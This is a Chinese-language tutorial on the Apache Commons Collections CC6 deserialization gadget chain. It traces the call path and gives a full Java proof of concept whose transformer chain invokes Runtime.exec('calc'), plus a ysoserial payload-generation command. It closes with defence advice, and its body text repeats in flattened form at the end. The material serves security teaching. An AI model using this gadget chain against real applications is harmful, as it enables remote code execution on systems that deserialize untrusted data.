TiedMapEntry结合ChainedTransformerInvokerTransformer进行任意方法调用
字数 1267 2025-08-11 00:55:05

Apache Commons Collections反序列化漏洞利用分析(CC6链)

漏洞概述

本教学文档详细分析Apache Commons Collections库中的反序列化漏洞利用链(CC6链),该链通过TiedMapEntryChainedTransformer结合InvokerTransformer实现任意方法调用,最终可导致远程代码执行。

前置知识

  • CC1链在低版本Java中无法成功执行
  • 本链(CC6)可以在高版本Java中成功利用
  • 核心是利用LazyMap#get()方法触发恶意代码执行

利用链分析

完整调用链如下:

java.io.ObjectInputStream.readObject()
    java.util.HashMap.readObject()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()

关键点分析

  1. TiedMapEntry类

    • getValue()方法调用了get()方法
    • hashCode()方法调用了getValue()方法
  2. HashMap类

    • hash()方法中对key对象调用了hashCode()方法
    • readObject()方法中也有hash()的调用

POC编写步骤

1. 构造Transformer链

// 防止本地调试时触发命令的假Transformer
Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};

// 真实的恶意Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Class[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"calc"}),
    new ConstantTransformer(1),
};

Transformer transformerChain = new ChainedTransformer(faketransformers);

2. 创建LazyMap

Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);

3. 创建TiedMapEntry并触发

// 实例化TiedMapEntry
TiedMapEntry tme = new TiedMapEntry(outMap, "key");

// 创建HashMap并将TiedMapEntry作为key
Map expMap = new HashMap();
expMap.put(tme, "value");

// 关键步骤:移除key值,防止提前触发
outMap.remove("key");

4. 设置真实Transformer链

// 通过反射设置真实的Transformer链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

5. 序列化和反序列化

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();

调试分析

关键问题

  1. 为什么需要移除key值

    • 在POC中,TiedMapEntry tme = new TiedMapEntry(outMap, "key")构造时没有修改Map
    • tme作为键名传入expMap时,HashMap的put方法会调用hash()hashCode()
    • 这导致在生成payload时就调用了利用链,并在Map中创建了key值
    • 反序列化时无法进入get方法的if语句,导致命令无法执行
  2. 解决方案

    • 通过outMap.remove("key")移除key值
    • 确保反序列化时可以进入get方法的if语句

ysoserial工具使用

生成payload命令:

java -jar ysoserial.jar CommonsCollections6 "calc" > CC6.ser

反序列化过程分析

  1. ObjectInputStream.readObject()开始反序列化
  2. 进入HashMap.readObject()
  3. 调用HashMap.hash()
  4. 对key(TiedMapEntry对象)调用hashCode()
  5. TiedMapEntry.hashCode()调用getValue()
  6. TiedMapEntry.getValue()调用LazyMap.get()
  7. LazyMap.get()触发ChainedTransformer.transform()
  8. 通过InvokerTransformer链最终执行命令

防御建议

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免不可信数据的反序列化

总结

CC6链通过TiedMapEntryLazyMap的结合,利用Java反序列化机制实现了任意代码执行。理解此漏洞链有助于更好地防御类似的反序列化漏洞。

Apache Commons Collections反序列化漏洞利用分析(CC6链) 漏洞概述 本教学文档详细分析Apache Commons Collections库中的反序列化漏洞利用链(CC6链),该链通过 TiedMapEntry 和 ChainedTransformer 结合 InvokerTransformer 实现任意方法调用,最终可导致远程代码执行。 前置知识 CC1链在低版本Java中无法成功执行 本链(CC6)可以在高版本Java中成功利用 核心是利用 LazyMap#get() 方法触发恶意代码执行 利用链分析 完整调用链如下: 关键点分析 TiedMapEntry类 : getValue() 方法调用了 get() 方法 hashCode() 方法调用了 getValue() 方法 HashMap类 : hash() 方法中对key对象调用了 hashCode() 方法 readObject() 方法中也有 hash() 的调用 POC编写步骤 1. 构造Transformer链 2. 创建LazyMap 3. 创建TiedMapEntry并触发 4. 设置真实Transformer链 5. 序列化和反序列化 调试分析 关键问题 为什么需要移除key值 : 在POC中, TiedMapEntry tme = new TiedMapEntry(outMap, "key") 构造时没有修改Map 当 tme 作为键名传入 expMap 时,HashMap的 put 方法会调用 hash() 和 hashCode() 这导致在生成payload时就调用了利用链,并在Map中创建了key值 反序列化时无法进入 get 方法的if语句,导致命令无法执行 解决方案 : 通过 outMap.remove("key") 移除key值 确保反序列化时可以进入 get 方法的if语句 ysoserial工具使用 生成payload命令: 反序列化过程分析 ObjectInputStream.readObject() 开始反序列化 进入 HashMap.readObject() 调用 HashMap.hash() 对key( TiedMapEntry 对象)调用 hashCode() TiedMapEntry.hashCode() 调用 getValue() TiedMapEntry.getValue() 调用 LazyMap.get() LazyMap.get() 触发 ChainedTransformer.transform() 通过 InvokerTransformer 链最终执行命令 防御建议 升级Apache Commons Collections到安全版本 使用Java反序列化过滤器 避免不可信数据的反序列化 总结 CC6链通过 TiedMapEntry 和 LazyMap 的结合,利用Java反序列化机制实现了任意代码执行。理解此漏洞链有助于更好地防御类似的反序列化漏洞。